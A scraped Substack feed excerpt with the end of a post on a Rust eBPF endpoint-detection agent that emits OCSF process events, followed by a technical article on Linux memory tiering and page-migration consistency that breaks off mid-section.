/__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fe534de7f-c817-45c6-b399-df07a804dea9_3648x3072.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a><figcaption class="image-caption"><em>Caption: Issue 02 activates the Linux agent; downstream layers remain placeholders until Phase B.</em>aption</figcaption></figure></div><h2><strong>Deliverable</strong></h2><blockquote><p><code>linux-agent</code> streams OCSF-shaped process-creation events (stdout JSON). Completion criteria:</p></blockquote><ol><li><p><code>cargo test -p linux-agent</code> passes on any host (fixture-replay path).</p></li><li><p>On a Linux Reader VM with privileges, <code>--mode live</code> attaches to <code>sched_process_exec</code> and prints Launch events with non-empty <code>process.uid</code> and <code>type_uid</code> 100701.</p></li><li><p>You can explain why the agent uses <code>sched_process_exec</code> instead of an <code>execve</code> kprobe for the default path.</p></li></ol><h2><strong>Implementation notes</strong></h2><h2>Github Link:</h2><p><a href="https://github.com/sysdr/production-xdr-edr/tree/main/v02-linux-agent-ebpf/agent-linux/linux-agent-common/src">https://github.com/sysdr/production-xdr-edr/tree/main/v02-linux-agent-ebpf/agent-linux/linux-agent-common/src</a></p><blockquote><p>Workspace layout under <code>agent-linux/</code>:</p></blockquote><ul><li><p><code>linux-agent-common</code> &#8212; shared <code>ExecEvent</code> wire struct (<code>#[repr(C)]</code>) for eBPF and userspace</p></li><li><p><code>linux-agent-ebpf</code> &#8212; tracepoint program + optional LSM stub (Linux bpf target)</p></li><li><p><code>linux-agent</code> &#8212; loader, OCSF encoder, filter, tree, <code>--mode replay|live</code></p></li></ul><blockquote><p>Replay mode reads <code>fixtures/exec-events.jsonl</code> and runs the same encoder/filter/tree path as live mode. Sandbox and macOS hosts use replay; live attach is the Reader VM column.</p><p>Encoder helpers (verbatim from <code>agent-linux/linux-agent/src/ocsf.rs</code>):</p></blockquote><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;rust&quot;,&quot;nodeId&quot;:&quot;532baaaa-dde7-4cb3-b9b4-2880c528a9ad&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-rust">pub fn type_uid_launch() -&gt; i32 {
    1007 * 100 + 1 // process_activity Launch &#8594; 100701
}

pub fn process_uid(boot_id: &amp;str, pid: u32, start_time_ns: u64) -&gt; String {
    format!("{boot_id}:{pid}:{start_time_ns}")
}
</code></pre></div><blockquote><p>Full files and build commands: <code>docs/implementation-guides/02-linux-agent-ebpf.md</code>.</p><p><strong>Limitation:</strong> <code>sched_process_exec</code> does not deliver a complete argv vector the way a carefully written <code>execve</code> kprobe might. Command lines in this issue come from <code>/proc/&lt;pid&gt;/cmdline</code> in userspace when the process still exists, with a short race window for short-lived binaries. Module 6 revisits richer capture if needed.</p></blockquote><h2>Working demo Link:</h2><div id="youtube2-njXDxJeTIKo" class="youtube-wrap" data-attrs="{&quot;videoId&quot;:&quot;njXDxJeTIKo&quot;,&quot;startTime&quot;:null,&quot;endTime&quot;:null}" data-component-name="Youtube2ToDOM"><div class="youtube-inner"><iframe src="https://www.youtube-nocookie.com/embed/njXDxJeTIKo?rel=0&amp;autoplay=0&amp;showinfo=0&amp;enablejsapi=0" frameborder="0" loading="lazy" gesture="media" allow="autoplay; fullscreen" allowautoplay="true" allowfullscreen="true" width="728" height="409"></iframe></div></div><h2><strong>Labs</strong></h2><ol><li><p>Run <code>linux-agent --mode replay</code> and confirm stdout JSON includes <code>type_uid</code> 100701 and non-empty <code>process.uid</code>.</p></li><li><p>Use <code>--print-tree</code> on the fixture stream and verify parent&#8211;child edges key on <code>process.uid</code>.</p></li><li><p>Add a basename to the noise denylist; confirm matching fixture lines are dropped while others remain.</p></li><li><p>On a Linux VM, build with <code>--features lsm-stub</code>, confirm the stub loads (or fails with a clear LSM-list message), and leave enforce off.</p></li></ol><h2><strong>Next issue</strong></h2><blockquote><p>Issue 03 builds the Windows peer with ETW. Command lines do not come from <code>Microsoft-Windows-Kernel-Process</code> alone &#8212; plan for the NT Kernel Logger / system logger path before mirroring this OCSF shape on Windows.</p></blockquote><div><hr></div><div class="subscription-widget-wrap-editor" data-attrs="{&quot;url&quot;:&quot;https://howtech.substack.com/subscribe?&quot;,&quot;text&quot;:&quot;Subscribe&quot;,&quot;language&quot;:&quot;en&quot;}" data-component-name="SubscribeWidgetToDOM"><div class="subscription-widget show-subscribe"><div class="preamble"><p class="cta-caption">How Tech - Systems Programming is a reader-supported publication. To receive new posts and support my work, consider becoming a free or paid subscriber.</p></div><form class="subscription-widget-subscribe"><input type="email" class="email-input" name="email" placeholder="Type your email&#8230;" tabindex="-1"><input type="submit" class="button primary" value="Subscribe"><div class="fake-input-wrapper"><div class="fake-input"></div><div class="fake-button"></div></div></form></div></div>]]></content:encoded></item><item><title><![CDATA[Caching Strategies for Heterogeneous Memory Hierarchies]]></title><description><![CDATA[1.]]></description><link>https://howtech.substack.com/p/caching-strategies-for-heterogeneous-3b3</link><guid isPermaLink="false">https://howtech.substack.com/p/caching-strategies-for-heterogeneous-3b3</guid><dc:creator><![CDATA[Systems]]></dc:creator><pubDate>Wed, 19 Aug 2026 08:00:30 GMT</pubDate><enclosure url="https://substackcdn.com/image/fetch/$s_!kxe_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5733308e-524a-4835-aeaf-be120a796a20_4000x2880.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2>1. Introduction</h2><p>Every server built on CXL, HBM-attached compute, or a NUMA topology with more than two distance classes now runs on memory that is not one thing. It is several pools, at several latencies, at several price points, and the kernel&#8217;s job is to make a workload behave as if it were running on the fast pool alone. That illusion is maintained by a caching strategy: which bytes live in the expensive, low-latency tier right now, and how the system decides when that answer should change.</p><p>This is not page cache in the &#8220;cache disk contents in RAM&#8221; sense that most engineers learn first. It&#8217;s memory-tiering: DRAM near a socket, CXL-attached DRAM one hop away, and increasingly HBM stacked on the compute die itself, all managed as a single address space with an internal promotion/demotion economy. The mechanism is deceptively close to the pieces we&#8217;ve already taken apart in this series &#8212; the <code>thermal_pressure</code> single-writer/multi-reader discipline from the power-management article, the TOCTOU hazards from HMM page migration, and the batching model from disaggregated-memory data movement all reappear here, because tiering sits at the intersection of all three problems: it&#8217;s a scheduler-adjacent decision, it&#8217;s a page-migration mechanism, and it&#8217;s a data-movement pipeline.</p><p>We&#8217;ll build a working, from-scratch model of a promotion/demotion controller &#8212; the same shape as the kernel&#8217;s node-demotion logic &#8212; and validate it the way this series always does: strict warnings, ThreadSanitizer, AddressSanitizer/UBSan, and Valgrind, with every bug the tools actually found left in the record.</p><h2>2. Historical Background</h2><p>Linux&#8217;s memory model assumed rough uniformity for a long time. NUMA support (2.6-era) was the first crack: <code>numactl</code>, <code>mbind(2)</code>, and the zonelist fallback order acknowledged that &#8220;far&#8221; memory existed, but the kernel&#8217;s default policy was still &#8220;avoid it,&#8221; not &#8220;manage it as a tier.&#8221; Hot-page migration existed almost by accident, via automatic NUMA balancing (<code>task_numa_fault</code>), which moves pages toward the CPU accessing them &#8212; a scheduler-driven heuristic, not a capacity-driven one.</p><p>The real shift came from two directions converging. First, persistent memory (NVDIMM, Optane) forced the kernel to treat a byte-addressable tier with meaningfully different latency as first-class, via <code>dax</code>/<code>kmem</code> hot-add of PMEM capacity as a NUMA node. Second, and more recently, CXL 2.0/3.0 memory expanders made &#8220;add a slower memory node at runtime over a fabric link&#8221; a mainstream deployment pattern rather than a persistent-memory niche. The kernel&#8217;s answer, landing across 5.x and 6.x, is explicit tiered-memory support: <code>node_demotion[]</code> rankings, <code>struct memory_tier</code>, and reclaim paths that demote cold pages to a slower tier instead of only ever writing them to swap. HBM-as-cache and HBM-as-a-node are the mirror image at the fast end of the same problem.</p><p>It&#8217;s worth being precise about why &#8220;just use NUMA balancing&#8221; was never a sufficient answer on its own. Automatic NUMA balancing exists to solve a locality problem: a task and the memory it touches most should end up on the same node, and the mechanism is fundamentally <em>task-centric</em> &#8212; it samples hint faults generated when a thread touches memory it doesn&#8217;t currently have local, and either migrates the memory toward the thread or the thread toward the memory. Tiering is a <em>capacity-and-cost-centric</em> problem instead: even a task pinned to a single node might have a working set larger than that node&#8217;s fast-tier capacity, in which case no amount of locality migration helps &#8212; some pages simply have to live in the slower tier, and the question becomes which ones. The two mechanisms coexist in the kernel today and, as Section 4 covers, actively interact with (and occasionally fight) each other.</p><p>The ACPI HMAT (Heterogeneous Memory Attribute Table), standardized specifically to let firmware describe relative latency and bandwidth between initiator/target node pairs, is what finally gave the kernel a principled way to build <code>node_demotion[]</code> at boot instead of relying on hand-tuned NUMA distance heuristics that predate the idea of intentionally slower memory tiers existing at all. Before HMAT, &#8220;distance&#8221; in <code>numactl --hardware</code> output described interconnect topology for locality purposes; it was never designed to express &#8220;this node is 3x slower and that&#8217;s expected, rank it as a demotion target,&#8221; and retrofitting that meaning onto SLIT (System Locality Information Table) distances was a stopgap at best.</p><h2>3. Systems-Level Problem</h2><p>The problem has three parts, and all three are load-bearing:</p><p><strong>Classification.</strong> You cannot promote or demote what you cannot rank. The kernel needs a cheap, continuous signal for &#8220;how hot is this page&#8221; without turning every memory access into an instrumented event. PTE <code>accessed</code> bits, sampled periodically, are the classic mechanism; DAMON generalizes this into region-based sampling with configurable granularity &#8212; instead of tracking every page individually (expensive at scale), it groups adjacent addresses into regions and tracks access frequency per region, splitting and merging regions adaptively as access patterns shift. The tradeoff is resolution versus overhead: coarse regions under-promote genuinely hot sub-ranges, fine regions burn CPU cycles and memory on bookkeeping that dwarfs the pages being tracked.</p><p><strong>Capacity pressure.</strong> The fast tier is small by definition &#8212; that&#8217;s why it&#8217;s fast. Promotion is not just &#8220;move it,&#8221; it&#8217;s &#8220;move it, and evict something else, under contention from every other thread that&#8217;s also trying to promote something.&#8221; This is where naive designs quietly become O(n) or worse: if promotion decisions require scanning the entire fast-tier resident set to find an eviction candidate, and every worker thread&#8217;s hot access can trigger that scan, the &#8220;fast&#8221; tier&#8217;s management overhead can end up dominating the latency win it was supposed to provide. Real implementations amortize this with approximate LRU/LFU structures (multi-queue, clock-based) rather than exact global ranking, precisely to keep the eviction-candidate search cheap.</p><p><strong>Consistency during migration.</strong> This is the part every kernel engineer underestimates the first time. A page being migrated has two physical locations for a brief window, and every other CPU in the system might have a stale TLB entry, a cached PTE, or literally be inside a load instruction targeting the old physical address at the exact moment the migration commits. Get this wrong and you don&#8217;t get a crash &#8212; you get intermittent, silent data corruption, because a reader reads new bytes at an old address, or old bytes at a location that&#8217;s already been repurposed for something else. Worse, this class of bug is load-dependent and interleaving-dependent: it can pass a full CI run and still corrupt data in production under a traffic pattern that happens to widen the race window, which is exactly why Section 11&#8217;s bug history matters more than any single clean test run.</p><p>Our demo isolates exactly this third part, because it&#8217;s the part sanitizers and casual testing are worst at catching.</p><h2>4. Linux Kernel Architecture</h2><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="/__u/substackcdn.com/image/fetch/$s_!kxe_!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5733308e-524a-4835-aeaf-be120a796a20_4000x2880.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="/__u/substackcdn.com/image/fetch/$s_!kxe_!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5733308e-524a-4835-aeaf-be120a796a20_4000x2880.png 424w, /__u/substackcdn.com/image/fetch/$s_!kxe_!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5733308e-524a-4835-aeaf-be120a796a20_4000x2880.png 848w, /__u/substackcdn.com/image/fetch/$s_!kxe_!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5733308e-524a-4835-aeaf-be120a796a20_4000x2880.png 1272w, /__u/substackcdn.com/image/fetch/$s_!kxe_!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5733308e-524a-4835-aeaf-be120a796a20_4000x2880.png 1456w" sizes="100vw"><img src="/__u/substackcdn.com/image/fetch/$s_!kxe_!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5733308e-524a-4835-aeaf-be120a796a20_4000x2880.png" width="1456" height="1048" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/5733308e-524a-4835-aeaf-be120a796a20_4000x2880.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1048,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:835911,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://howtech.substack.com/i/209742680?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5733308e-524a-4835-aeaf-be120a796a20_4000x2880.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="/__u/substackcdn.com/image/fetch/$s_!kxe_!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5733308e-524a-4835-aeaf-be120a796a20_4000x2880.png 424w, /__u/substackcdn.com/image/fetch/$s_!kxe_!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5733308e-524a-4835-aeaf-be120a796a20_4000x2880.png 848w, /__u/substackcdn.com/image/fetch/$s_!kxe_!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5733308e-524a-4835-aeaf-be120a796a20_4000x2880.png 1272w, /__u/substackcdn.com/image/fetch/$s_!kxe_!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F5733308e-524a-4835-aeaf-be120a796a20_4000x2880.png 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><p></p><p>The subsystem stack, top to bottom:</p><ul><li><p><strong>Access tracking</strong> &#8212; <code>mm/damon/</code> (DAMON) or the older NUMA-balancing hint-fault path (<code>mm/mprotect.c</code>&#8216;s <code>NUMA_HUGE_PAGE</code>/hint-fault plumbing, <code>task_numa_fault()</code> in <code>kernel/sched/fair.c</code>). Both exist to answer &#8220;which regions are hot&#8221; without a per-access trap.</p></li><li><p><strong>Promotion/demotion engine</strong> &#8212; <code>mm/migrate.c</code>&#8216;s <code>migrate_pages()</code> is the mechanical core: it isolates a page from the LRU, allocates a destination, copies content, retargets page tables via an rmap walk, and does a TLB shootdown. Tier ranking comes from <code>node_demotion[]</code>, populated at boot from ACPI HMAT (Heterogeneous Memory Attribute Table) distance data.</p></li><li><p><strong>Scheduler interaction</strong> &#8212; this is the genuinely hard cross-cutting concern. NUMA balancing wants to move the <em>task</em> to the memory; tiering wants to move the <em>memory</em> to wherever it&#8217;s hot. These can fight: a demoted page can get re-promoted seconds later because the scheduler didn&#8217;t also migrate the thread that keeps touching it.</p></li><li><p><strong>Memory manager</strong> &#8212; <code>struct page</code>, <code>zonelist</code>, and the rmap machinery that lets migration find every PTE pointing at a physical page so it can be retargeted atomically with respect to the TLB.</p></li><li><p><strong>Device layer</strong> &#8212; <code>cxl_core</code>/<code>cxl_mem</code> register CXL expander capacity as <code>dax</code> devices, which <code>kmem</code> then hot-adds as ordinary (but ranked) NUMA nodes.</p></li></ul><h2>5. Internal Working</h2><p>The core abstraction is a <strong>hotness-ranked cache with lazy, asynchronous eviction</strong> &#8212; structurally identical to a CPU cache&#8217;s LRU/LFU replacement policy, but at page granularity and running as software rather than hardware state machines. Two properties make this harder than a CPU cache:</p><ol><li><p><strong>The &#8220;hardware&#8221; here is other threads.</strong> A CPU&#8217;s cache controller has exclusive ownership of tag arrays. Our promotion engine competes with the very readers whose access patterns it&#8217;s trying to track, and it must publish tier changes in a way that&#8217;s safe against a reader who is mid-access at the instant of publication.</p></li><li><p><strong>Eviction is not free &#8212; it&#8217;s a copy.</strong> Demoting a page means copying its contents to the slow tier before it can be reused for something else. Until that copy completes and is <em>visible</em>, the fast-tier physical location must remain valid for anyone still reading the old resident.</p></li></ol><p>That second property is the one our demo is built to expose, because it&#8217;s exactly where a naive migration path breaks.</p><h2>6. Step-by-Step Execution Flow</h2><h2>Github Link:</h2><p><a href="https://github.com/sysdr/howtech-p/tree/main/Developing_caching_strategies/tiering-lab">https://github.com/sysdr/howtech-p/tree/main/Developing_caching_strategies/tiering-lab</a></p><div class="captioned-image-container"><figure><a class="image-link image2 is-viewable-img" target="_blank" href="/__u/substackcdn.com/image/fetch/$s_!NiVc!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d3dd5c0-45ab-41f4-a918-c363bfb2c117_900x1180.svg" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="/__u/substackcdn.com/image/fetch/$s_!NiVc!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d3dd5c0-45ab-41f4-a918-c363bfb2c117_900x1180.svg 424w, /__u/substackcdn.com/image/fetch/$s_!NiVc!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d3dd5c0-45ab-41f4-a918-c363bfb2c117_900x1180.svg 848w, /__u/substackcdn.com/image/fetch/$s_!NiVc!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d3dd5c0-45ab-41f4-a918-c363bfb2c117_900x1180.svg 1272w, /__u/substackcdn.com/image/fetch/$s_!NiVc!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_webp, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d3dd5c0-45ab-41f4-a918-c363bfb2c117_900x1180.svg 1456w" sizes="100vw"><img src="/__u/substackcdn.com/image/fetch/$s_!NiVc!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d3dd5c0-45ab-41f4-a918-c363bfb2c117_900x1180.svg" width="1456" height="1909" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/3d3dd5c0-45ab-41f4-a918-c363bfb2c117_900x1180.svg&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:1909,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:7304,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/svg+xml&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:true,&quot;topImage&quot;:false,&quot;internalRedirect&quot;:&quot;https://howtech.substack.com/i/209742680?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d3dd5c0-45ab-41f4-a918-c363bfb2c117_900x1180.svg&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="/__u/substackcdn.com/image/fetch/$s_!NiVc!, /__u/howtech.substack.com/w_424, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d3dd5c0-45ab-41f4-a918-c363bfb2c117_900x1180.svg 424w, /__u/substackcdn.com/image/fetch/$s_!NiVc!, /__u/howtech.substack.com/w_848, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d3dd5c0-45ab-41f4-a918-c363bfb2c117_900x1180.svg 848w, /__u/substackcdn.com/image/fetch/$s_!NiVc!, /__u/howtech.substack.com/w_1272, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d3dd5c0-45ab-41f4-a918-c363bfb2c117_900x1180.svg 1272w, /__u/substackcdn.com/image/fetch/$s_!NiVc!, /__u/howtech.substack.com/w_1456, /__u/howtech.substack.com/c_limit, /__u/howtech.substack.com/f_auto, /__u/howtech.substack.com/q_auto:good, /__u/howtech.substack.com/fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2F3d3dd5c0-45ab-41f4-a918-c363bfb2c117_900x1180.svg 1456w" sizes="100vw" loading="lazy"></picture><div class="image-link-expand"><div class="pencraft pc-display-flex pc-gap-8 pc-reset"><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container restack-image"><svg aria-hidden="true" width="20" height="20" viewBox="0 0 20 20" fill="none" stroke-width="1.5" stroke="var(--color-fg-primary)" stroke-linecap="round" stroke-linejoin="round" xmlns="http://www.w3.org/2000/svg"><g><path d="M2.53001 7.81595C3.49179 4.73911 6.43281 2.5 9.91173 2.5C13.1684 2.5 15.9537 4.46214 17.0852 7.23684L17.6179 8.67647M17.6179 8.67647L18.5002 4.26471M17.6179 8.67647L13.6473 6.91176M17.4995 12.1841C16.5378 15.2609 13.5967 17.5 10.1178 17.5C6.86118 17.5 4.07589 15.5379 2.94432 12.7632L2.41165 11.3235M2.41165 11.3235L1.5293 15.7353M2.41165 11.3235L6.38224 13.0882"></path></g></svg></button><button tabindex="0" type="button" class="pencraft pc-reset pencraft icon-container view-image"><svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round" class="lucide lucide-maximize2 lucide-maximize-2"><polyline points="15 3 21 3 21 9"></polyline><polyline points="9 21 3 21 3 15"></polyline><line x1="21" x2="14" y1="3" y2="10"></line><line x1="3" x2="10" y1="21" y2="14"></line></svg></button></div></div></div></a></figure></div><ol><li><p>A worker touches a logical block; its access counter is incremented.</p></li><li><p>If the block is cold, done &#8212; no state changes.</p></li><li><p>If the block crosses the hot threshold and isn&#8217;t already resident in the fast tier, promotion begins.</p></li><li><p>If the fast tier is full, the coldest current resident is selected for eviction back to the slow tier.</p></li><li><p>The controller must wait for any reader still pinning the physical slot being reused, then copy bytes into the destination.</p></li><li><p>The <code>{tier, pointer}</code> pair is published atomically &#8212; never as two independent writes a reader could observe half of.</p></li><li><p>A reader who started before publication and is still using the old (now-stale) buffer must be prevented from having that buffer&#8217;s bytes stomped out from under it &#8212; this is the retry/pin loop on the error path in the diagram.</p></li><li><p>Control returns to the caller with a byte-for-byte consistent view, no matter how the migration interleaved with the read.</p></li></ol><h2>7. Kernel Data Structures</h2><p>The demo&#8217;s structures are a direct, minimal analogue of the real subsystem:</p><div class="highlighted_code_block" data-attrs="{&quot;language&quot;:&quot;plaintext&quot;,&quot;nodeId&quot;:&quot;6f4cd01d-74c1-4a9c-a5c5-9d45280675f5&quot;}" data-component-name="HighlightedCodeBlockToDOM"><pre class="shiki"><code class="language-plaintext">typedef struct {
    _Atomic(uint8_t *) data;   // analogue of struct page's mapping (which pool)
    _Atomic int         tier;  // analogue of node id / N_MEMORY membership
    _Atomic long         access_count;  // analogue of DAMON region access rate
    _Atomic int          fast_slot;     // physical residency, if promoted
    _Atomic unsigned     seq;           // seqlock-style publish counter
} block_t;
</code></pre></div><p>In the real kernel, the corresponding structures are <code>struct page</code> (physical residency and refcount), <code>struct memory_tier</code> and <code>node_demotion[]</code> (tier ranking), and <code>struct damon_region</code> (the access-frequency estimate that drives promotion decisions). The pattern our <code>seq</code> field encodes &#8212; publish a compound piece of state as a single atomic transition, not as independent field writes &#8212; is exactly what <code>seqcount_t</code> gives the kernel for structures like <code>struct mm_struct</code>&#8216;s <code>write_protect_seq</code>, and what page-table generation counters give <code>mmu_notifier</code> consumers.</p><h2>8. CPU-Level Behaviour</h2><p>Two things matter at the instruction level. First, <code>b-&gt;data</code> and <code>b-&gt;tier</code> must be genuinely atomic types, not plain fields &#8220;protected&#8221; by fences around them &#8212; a fence orders atomic operations relative to each other, it does not make a concurrently-written plain load/store 